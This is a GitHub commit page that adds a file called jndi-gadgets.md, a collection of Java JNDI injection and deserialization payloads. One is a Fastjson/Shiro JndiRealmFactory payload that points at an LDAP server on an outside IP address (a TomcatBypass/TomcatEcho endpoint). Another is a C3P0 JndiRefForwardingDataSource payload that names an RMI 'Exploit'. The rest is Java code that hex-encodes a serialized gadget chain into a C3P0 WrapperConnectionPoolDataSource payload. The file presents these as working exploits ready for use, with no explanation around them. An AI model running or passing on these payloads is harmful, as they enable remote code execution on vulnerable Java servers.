Skip to content

Commit 4f7fb78

Browse files
authored
Create jndi-gadgets.md
1 parent 3642c21 commit 4f7fb78

1 file changed

Lines changed: 33 additions & 0 deletions

File tree

jndi-gadgets.md

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://1.116.136.120:1600/TomcatBypass/TomcatEcho"],"Realms":[""],"a":"a"}
2+
3+
4+
5+
{"object":["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName":"rmi://localhost:8088/Exploit", "loginTimeout":0}]}
6+
7+
InputStream in = new FileInputStream("C3P0.ser");
8+
byte[] data = toByteArray(in);
9+
in.close();
10+
String HexString = bytesToHexString(data, data.length);
11+
String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}";
12+
System.out.println(poc);
13+
14+
public static byte[] toByteArray(InputStream in) throws IOException {
15+
byte[] classBytes;
16+
classBytes = new byte[in.available()];
17+
in.read(classBytes);
18+
in.close();
19+
return classBytes;
20+
}
21+
22+
public static String bytesToHexString(byte[] bArray, int length) {
23+
StringBuffer sb = new StringBuffer(length);
24+
for(int i = 0; i < length; ++i) {
25+
String sTemp = Integer.toHexString(255 & bArray[i]);
26+
if (sTemp.length() < 2) {
27+
sb.append(0);
28+
}
29+
30+
sb.append(sTemp.toUpperCase());
31+
}
32+
return sb.toString();
33+
}

0 commit comments

Comments
 (0)